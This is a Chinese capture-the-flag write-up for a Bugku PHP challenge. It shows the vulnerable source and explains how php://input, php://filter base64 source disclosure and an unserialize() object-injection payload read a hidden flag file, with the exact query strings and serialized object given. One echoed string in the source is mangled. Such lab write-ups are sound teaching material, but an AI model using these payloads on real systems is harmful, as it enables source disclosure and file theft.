1.通过php://input对变量输入内容,让file_get_contents能够读取变量的内容
2.通过php://filter/read=convert.base64-encode/resource=xxx.php得到其他PHP文件的源代码
3.通过反序列化,对echo的魔术方法__tostring()里面的参数进行赋值
题目地址:http://123.206.87.240:8006/test1/
右键查看源码有提示:
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
审计源码,发现本题需要以下要求:
- get方式传递三个参数
- 存在$user
- 读取的$user文件内容===welcome to the bugkuctf
- $file要求为hint.php
关于php://filter --进行任意文件的读取
可以看这位大佬的博客
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
关于php://input --读取没有处理过的post数据
当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取。
于是利用这两个php协议
首先读取hint.php内容:
Payload:
?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
[post]welcome to the bugkuctf
Base64解码后:
/*hint.php*/
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
同理把hint.php改为index.php,可得
index源码:
/*index.php*/
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
exit();
} else {
include($file);
$password = unserialize($password);
echo $password;
}
} else {
echo "you are not the number of bugku ! ";
}
?>
从上面获取的源码可得到如下信息:
- 提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了preg_match正则匹配
- hint.php中定义了一个Flag类,注意到中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
- __tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开
- 在index.php源码中看到了$password的作用
- else代码块中又包含了$file,并且对$password进行反序列化
将hint.php中的Flag方法当做字符串执行时,会自动执行 __tostring函数,只有echo,只能输出一个或多个字符串,所以构造&password为Flag类型,其中的string变量$flie=flag.php即可。
我们可以使用脚本序列化$password:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?>
执行得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在这里简单说一下php的反序列化
将原来的某个对象进行序列化之后,从序列化后的结果中就可以知道这个对象的具体类型和值。
关于序列化,以password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}为例
O(大写):对象class
4:4个字符
"Flag":对象名
1:数量,一个
s:string
{}里的为参数
最后我们把构造好的序列化输出通过password上传即可得到flag。